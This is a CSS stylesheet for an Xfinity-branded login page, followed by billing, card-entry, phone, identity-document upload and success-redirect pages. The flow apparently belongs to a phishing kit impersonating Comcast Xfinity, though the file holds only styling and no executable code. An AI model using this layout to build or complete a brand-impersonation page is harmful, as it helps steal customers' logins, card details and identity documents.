@import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');

:root {
  --bg-page:        #ffffff;
  --bg-field:       #f5f5f5;
  --text-primary:   #1a1a1a;
  --text-secondary: #6b7280;
  --border-color:   #d1d5db;
  --border-focus:   #6515dd;
  --accent:         #6515dd;
  --accent-hover:   #5210b8;
  --accent-glow:    rgba(101,21,221,.12);
  --danger:         #dc2626;
  --radius-lg:      8px;
  --radius-md:      6px;
  --font: "Inter", -apple-system, BlinkMacSystemFont, sans-serif;
}

* { box-sizing: border-box; margin: 0; padding: 0; }

body {
  background: var(--bg-page);
  color: var(--text-primary);
  font-family: var(--font);
  -webkit-font-smoothing: antialiased;
  min-height: 100vh;
}

/* ── Logo ── */
.xfinity-logo {
  font-size: 22px;
  font-weight: 300;
  letter-spacing: -0.03em;
  color: #1a1a1a;
  font-family: var(--font);
  text-decoration: none;
  display: inline-block;
}

/* ── Login page ── */
.login-page {
  min-height: 100vh;
  display: flex;
  align-items: flex-start;
  padding: 48px 40px;
}
.login-wrap {
  max-width: 400px;
  width: 100%;
}
.login-wrap .xfinity-logo {
  margin-bottom: 40px;
  display: block;
}
.login-title {
  font-size: 26px;
  font-weight: 700;
  color: var(--text-primary);
  margin-bottom: 20px;
  line-height: 1.25;
  letter-spacing: -0.02em;
}
.login-field {
  margin-bottom: 14px;
}
.login-field input {
  width: 100%;
  padding: 14px 16px;
  font-size: 15px;
  font-family: var(--font);
  border: 1.5px solid var(--border-color);
  border-radius: var(--radius-md);
  outline: none;
  background: var(--bg-page);
  color: var(--text-primary);
  transition: border-color .15s, box-shadow .15s;
}
.login-field input:focus {
  border-color: var(--border-focus);
  box-shadow: 0 0 0 3px var(--accent-glow);
}
.login-field input::placeholder { color: #9ca3af; }
.login-field input.invalid { border-color: var(--danger); }
.login-field-error { font-size: 12px; color: var(--danger); margin-top: 4px; display: none; }
.login-field-error.show { display: block; }

.login-terms {
  font-size: 13px;
  color: var(--text-secondary);
  margin-bottom: 22px;
  line-height: 1.5;
}
.login-terms a { color: var(--accent); text-decoration: none; }
.login-terms a:hover { text-decoration: underline; }

.btn-xfinity {
  display: inline-block;
  background: var(--accent);
  color: #fff;
  border: none;
  padding: 13px 28px;
  font-size: 15px;
  font-weight: 700;
  font-family: var(--font);
  border-radius: var(--radius-md);
  cursor: pointer;
  transition: background .15s;
  letter-spacing: 0.01em;
}
.btn-xfinity:hover { background: var(--accent-hover); }
.btn-xfinity:disabled { opacity: .5; cursor: not-allowed; }

.login-divider { border: none; border-top: 1px solid #e5e7eb; margin: 28px 0 0; }

.login-links { margin-top: 0; }
.login-link-item {
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 16px 0;
  border-bottom: 1px solid #e5e7eb;
  font-size: 14px;
  color: var(--text-primary);
  text-decoration: none;
}
.login-link-item:hover { color: var(--accent); }
.login-link-chevron { color: var(--text-secondary); font-size: 16px; }

/* ── Form alert ── */
.form-alert {
  background: #fef2f2;
  color: var(--danger);
  border: 1px solid #fecaca;
  border-radius: var(--radius-md);
  padding: 10px 14px;
  font-size: 13px;
  margin-bottom: 16px;
  display: none;
}
.form-alert.show { display: block; }

/* ── Page layout (billing + verify) ── */
.page-header {
  background: #fff;
  border-bottom: 1px solid #e5e7eb;
  padding: 14px 32px;
  display: flex;
  align-items: center;
}
.page-wrap {
  max-width: 640px;
  margin: 36px auto 80px;
  padding: 0 20px;
}
.page-title {
  font-size: 22px;
  font-weight: 700;
  letter-spacing: -0.02em;
  margin-bottom: 4px;
}
.page-subtitle {
  font-size: 14px;
  color: var(--text-secondary);
  margin-bottom: 24px;
  line-height: 1.6;
}

/* ── Section card ── */
.section-card {
  background: #fff;
  border: 1px solid var(--border-color);
  border-radius: var(--radius-lg);
  padding: 22px 24px;
  margin-bottom: 16px;
}
.section-label {
  font-size: 11px;
  font-weight: 700;
  letter-spacing: .08em;
  text-transform: uppercase;
  color: var(--text-secondary);
  margin-bottom: 16px;
}

/* ── Fields ── */
.field { margin-bottom: 16px; }
.field label {
  display: block;
  font-size: 13px;
  font-weight: 500;
  margin-bottom: 5px;
  color: var(--text-primary);
}
.field input, .field select {
  width: 100%;
  padding: 11px 13px;
  font-size: 14px;
  font-family: var(--font);
  border: 1.5px solid var(--border-color);
  border-radius: var(--radius-md);
  outline: none;
  color: var(--text-primary);
  background: #fff;
  transition: border-color .15s, box-shadow .15s;
  appearance: none;
}
.field input:focus, .field select:focus {
  border-color: var(--border-focus);
  box-shadow: 0 0 0 3px var(--accent-glow);
}
.field input[readonly] {
  background: var(--bg-field);
  color: var(--text-secondary);
  cursor: default;
}
.field input.invalid { border-color: var(--danger); }
.field-error { font-size: 12px; color: var(--danger); margin-top: 4px; display: none; }
.field-error.show { display: block; }

.select-wrap { position: relative; }
.select-wrap::after {
  content: '';
  position: absolute; right: 12px; top: 50%;
  transform: translateY(-50%);
  width: 0; height: 0;
  border-left: 4px solid transparent;
  border-right: 4px solid transparent;
  border-top: 5px solid var(--text-secondary);
  pointer-events: none;
}

.row-2 { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }
.row-3 { display: grid; grid-template-columns: 2fr 1fr 1fr; gap: 14px; }
@media (max-width: 560px) {
  .row-2, .row-3 { grid-template-columns: 1fr; }
  .login-page { padding: 32px 20px; }
}

.card-input-wrap { position: relative; }
.card-input-wrap input { padding-right: 52px; }
.card-brand-icon {
  position: absolute; right: 12px; top: 50%;
  transform: translateY(-50%);
  font-size: 11px; font-weight: 700;
  color: var(--text-secondary); pointer-events: none;
}

.phone-wrap {
  display: flex; align-items: center;
  border: 1.5px solid var(--border-color);
  border-radius: var(--radius-md); overflow: hidden;
  transition: border-color .15s, box-shadow .15s;
}
.phone-wrap:focus-within {
  border-color: var(--border-focus);
  box-shadow: 0 0 0 3px var(--accent-glow);
}
.phone-dial {
  padding: 10px 10px 10px 13px;
  font-size: 13px; font-weight: 600;
  color: var(--text-secondary);
  background: var(--bg-field);
  border-right: 1.5px solid var(--border-color);
  white-space: nowrap; min-width: 44px;
  text-align: center; font-family: var(--font);
}
.phone-wrap input {
  flex: 1; border: none !important;
  box-shadow: none !important; border-radius: 0 !important;
  padding: 11px 13px;
}

.actions-row { display: flex; justify-content: flex-end; margin-top: 20px; gap: 12px; }
.btn-primary {
  background: var(--accent); color: #fff; border: none;
  padding: 12px 28px; font-size: 14px; font-weight: 700;
  font-family: var(--font); border-radius: var(--radius-md);
  cursor: pointer; transition: background .15s;
}
.btn-primary:hover { background: var(--accent-hover); }
.btn-primary:disabled { opacity: .5; cursor: not-allowed; }
.secure-note { text-align: right; font-size: 12px; color: var(--text-secondary); margin-top: 8px; }

/* ── Success ── */
.success-wrap { max-width: 440px; margin: 72px auto; text-align: center; padding: 0 20px; }
.success-wrap h1 { font-size: 22px; font-weight: 700; margin: 16px 0 10px; }
.success-wrap p { font-size: 14px; color: var(--text-secondary); line-height: 1.7; }
.success-icon {
  width: 52px; height: 52px; background: var(--accent);
  border-radius: 50%; display: flex; align-items: center;
  justify-content: center; margin: 0 auto; font-size: 22px; color: #fff;
}
.redirect-note { font-size: 13px; color: var(--text-secondary); margin-top: 16px; }

/* ── Update agreement ── */
.ua-wrap { max-width: 520px; margin: 80px auto; padding: 0 20px; }
.ua-wrap h1 { font-size: 22px; font-weight: 700; margin-bottom: 12px; }
.ua-wrap p { font-size: 14px; color: var(--text-secondary); line-height: 1.75; margin-bottom: 14px; }
.ua-wrap a { color: var(--accent); text-decoration: none; }

/* ── Verify ── */
.upload-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 12px; }
@media(max-width:480px){ .upload-grid { grid-template-columns: 1fr; } }
.upload-area {
  border: 2px dashed var(--border-color);
  border-radius: var(--radius-md);
  padding: 20px 14px; text-align: center; cursor: pointer;
  transition: border-color .15s, background .15s;
  position: relative; background: #fafafa; min-height: 100px;
}
.upload-area:hover, .upload-area.dragover {
  border-color: var(--accent); background: rgba(101,21,221,.04);
}
.upload-area input[type="file"] {
  position: absolute; inset: 0; opacity: 0; cursor: pointer; width: 100%; height: 100%;
}
.upload-icon { font-size: 22px; margin-bottom: 6px; }
.upload-label { font-size: 12.5px; font-weight: 600; color: var(--text-primary); margin-bottom: 3px; }
.upload-hint { font-size: 11px; color: var(--text-secondary); }
.upload-preview { margin-top: 10px; display: none; }
.upload-preview img {
  max-width: 100%; max-height: 110px; border-radius: 6px;
  border: 1px solid var(--border-color); object-fit: cover;
}
.upload-done { font-size: 18px; margin-top: 4px; }
.verify-note { font-size: 12.5px; color: var(--text-secondary); line-height: 1.6; margin-top: 20px; text-align: center; }
.progress-bar-wrap { background: var(--border-color); border-radius: 99px; height: 4px; margin: 16px 0 8px; display: none; }
.progress-bar { height: 4px; background: var(--accent); border-radius: 99px; width: 0%; transition: width .3s ease; }